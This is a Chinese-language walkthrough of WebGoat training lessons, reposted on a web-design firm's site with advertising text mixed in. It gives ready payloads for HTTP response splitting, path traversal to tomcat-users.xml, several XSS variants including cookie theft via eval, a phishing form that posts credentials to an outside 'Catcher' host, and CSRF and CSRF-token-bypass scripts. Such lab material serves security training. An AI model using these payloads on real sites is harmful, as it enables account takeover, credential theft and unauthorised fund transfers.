***General*************************************************************
1、Http Spliting
step1
成都創(chuàng)新互聯(lián)公司專(zhuān)注于光澤企業(yè)網(wǎng)站建設(shè),自適應(yīng)網(wǎng)站建設(shè),商城網(wǎng)站建設(shè)。光澤網(wǎng)站建設(shè)公司,為光澤等地區(qū)提供建站服務(wù)。全流程按需定制開(kāi)發(fā),專(zhuān)業(yè)設(shè)計(jì),全程項(xiàng)目跟蹤,成都創(chuàng)新互聯(lián)公司專(zhuān)業(yè)和態(tài)度為您提供的服務(wù)
cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-length:30%0a<html>Haha</html>
step2
//添加Last-Modified頭,設(shè)置服務(wù)器頁(yè)面的過(guò)期時(shí)間,注意日期的格式。
cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aLast-Modified:%20Thu,%2001%20Jan%204099%2012:00:00%20GMT%20%20%20%0aContent-Type:%20text/html%0aContent-length:30%0a<html>Haha</html>
***Access Control Flaws**************************************************
1、Bypass a Path Based Access Control Scheme
../../../../../../../etc/tomcat6/tomcat-users.xml
當(dāng)前在第幾級(jí)目錄,則有多少個(gè)..就可以到根目錄。
***AJAX Security*********************************************************
1、LAB: DOM-Based cross-site scripting
step1
<img src="/webgoat/p_w_picpaths/logos/owasp.jpg"></img>
submit
step2
<img src="/webgoat/p_w_picpaths/logos/owasp.jpg" onerror="javascript:alert(/xss/)"></img> onmouseover......
<a onclick="javascript:alert(/xss/)">haha</a>
onmouseover/onmouseout......
<a onclick="javascript:eval(document.location.>haha</a>
step3
<iframe src="javascript:alert(/xss/)"></iframe>
step4
Please enter your password:<br><input type="password" id="passwd"><br><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button>
可以通關(guān),但是pass.value會(huì)報(bào)錯(cuò)。
step5
編輯/owaspbwa/WebGoat-svn/target/WebGoat-5.4+SVN/javascript/DOMXSS.js,給name添加escapeHTML函數(shù)。
function displayGreeting(name) { if (name != ''){ document.getElementById("greeting").innerHTML="Hello, " + escapeHTML(name); + "!"; }
編碼后,變成
<h2 id="greeting">Hello, <a onclick="javascript:alert(/xss/)">haha</a></h2>
2、LAB: Client Side Filtering
step1
用webscarab抓取Ajax數(shù)據(jù),可以發(fā)現(xiàn)12個(gè)員工的數(shù)據(jù)。
3、XML Injection
4、JSON Injection
用webscarab抓取xml、JSON數(shù)據(jù)直接進(jìn)行修改即可。
5、Silent Transactions Attacks
分析script代碼知Ajax調(diào)用submitData(accountNo, balance)函數(shù)轉(zhuǎn)賬,則可直接調(diào)用此函數(shù)進(jìn)行轉(zhuǎn)賬。在瀏覽器輸入:
javascript:submitData(666,10000)
6、Dangerous Use of Eval
123"');alert(document.cookie);//
alert('Whoops:You entered an incorrect access code of "123"');alert(document.cookie);//"';
7、Insecure Client Storage
step1
firebug調(diào)試clientSideValidation.js,在42行return caesar處設(shè)置斷點(diǎn),連續(xù)運(yùn)行即可發(fā)現(xiàn)所有coupon碼:
platinum gold pressone presstuo
輸入任意一個(gè)即可通過(guò)
step2
用webscarab抓取Ajax返回包,修改返回值為0即可完成。
***Authentication Flaws*************************************************************
1、Basic Authentication
step1
查看請(qǐng)求頭即可知。
step2
1、使用webscarab刪除認(rèn)證頭以及cookie(必須同時(shí)刪除這兩個(gè))。
2、在返回的登錄框中用basic:basic登錄。
3、刪掉此時(shí)cookie的值,即返回一個(gè)全新的webgoat。
4、選擇此次課程即可通過(guò)。
2、Multi Level Login 2
以Joe/banana登錄,輸入指定的Tan即可查詢(xún)自己的信息。此時(shí)通過(guò)webscarab修改發(fā)送請(qǐng)求的hidden_user的值為Jane即可。
3、Multi Level Login 1
同上,修改hidden_tan的值即可。
***Buffer Overflows********************************************************************
1、Off-by-One Overflows
使用burpsuite注入。
***Code Quality*************************************************************************
1、Discover Clues in the HTML
查看html源碼,搜索<!即可發(fā)現(xiàn):
<!-- FIXME admin:adminpw --><!-- Use Admin to regenerate database -->
***Cross-Site Scripting (XSS)***********************************************************
1、Phishing with XSS
構(gòu)造form表單:
</form><br><br><br><hr><form action="http://xx.xx.xx.xx/webgoat/Catcher" method="get"><h4>This feature requires account login:<h4><br><input type="text" name="PROPERTY" value="yes" hidden=""><br>Enter username: <input type="text" name="user"><br>Enter password: <input type="password" name="password"><br> <input type="submit" value="Login" name="submit"></form>
通過(guò)代理可以看到確實(shí)向服務(wù)器發(fā)送了http://xx.xx.xx.xx/webgoat/Catcher?PROPERTY=yes&user=XX&password=XX&submit=Login的請(qǐng)求,但提示請(qǐng)求的內(nèi)容不存在!?。。。。?!
2、LAB: Cross Site Scripting
step1
編輯tom的profile,修改street部分為:<script>alert(/xss/)<script>,然后用Jerry登錄查看tom的profile即可完成課程。//也可以修改其他字段。
step3
3、Stored XSS Attacks
在Message框內(nèi)輸入<script>alert(/xss/)</script>即可。
4、Reflected XSS Attacks
觀(guān)察發(fā)現(xiàn),UpdateCart Purchase均以post提交數(shù)據(jù),但Enter your credit card number:以及Enter your three digit access code:處的值均被post原樣返回,所以可以在
此處構(gòu)造js。<script>alert(/xss/)</script>
5、Cross Site Request Forgery (CSRF)
同Stored Xss
<img src="http://192.168.6.134/WebGoat/attack?Screen=888&menu=900&Num=6&transferFunds=4000" width="1" height="1"><img>
6、CSRF Prompt By-Pass
<img src="http://XX.XX.XX.XX/WebGoat/attack?Screen=881&menu=900&transferFunds=5000" onerror="document.getElementById('imgConfirm').src='http://XX.XX.XX.XX/WebGoat/attack?Screen=881&menu=900&transferFunds=CONFIRM'" width="1" height="1" /> <img id="imgConfirm" width="1" height="1" />
7、CSRF Token By-Pass
A、打開(kāi)資金轉(zhuǎn)賬頁(yè)面:在URL后添加transferFunds=main參數(shù)。
B、查看頁(yè)面源碼,發(fā)現(xiàn):<input type="hidden" value="-953910496" name="CSRFToken">
C、構(gòu)造Payload。關(guān)鍵是先加參數(shù)transferFunds=main打開(kāi)轉(zhuǎn)賬頁(yè)面獲取該頁(yè)面的CSRFToken。
<script> var tokenvalue; function readFrame1() { var frameDoc = document.getElementById("frame1").contentDocument; var form = frameDoc.getElementsByTagName("form")[1]; var token = form.CSRFToken.value; tokenvalue = '&CSRFToken='+token; loadFrame2(); } function loadFrame2() { var testFrame = document.getElementById("frame2"); testFrame.src="http://xx.xx.xx.xx/WebGoat/attack?Screen=838&menu=900&transferFunds=4000"+tokenvalue; } </script> <iframe src="http://xx.xx.xx.xx/WebGoat/attack?Screen=838&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="1" scrolling=yes height="1"></iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="1" scrolling=yes height="1"></iframe>
當(dāng)前題目:WebGoat題目解答(General~XSS)
轉(zhuǎn)載源于:http://sd-ha.com/article44/gpsdee.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供虛擬主機(jī)、品牌網(wǎng)站設(shè)計(jì)、服務(wù)器托管、營(yíng)銷(xiāo)型網(wǎng)站建設(shè)、用戶(hù)體驗(yàn)、移動(dòng)網(wǎng)站建設(shè)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話(huà):028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)
營(yíng)銷(xiāo)型網(wǎng)站建設(shè)知識(shí)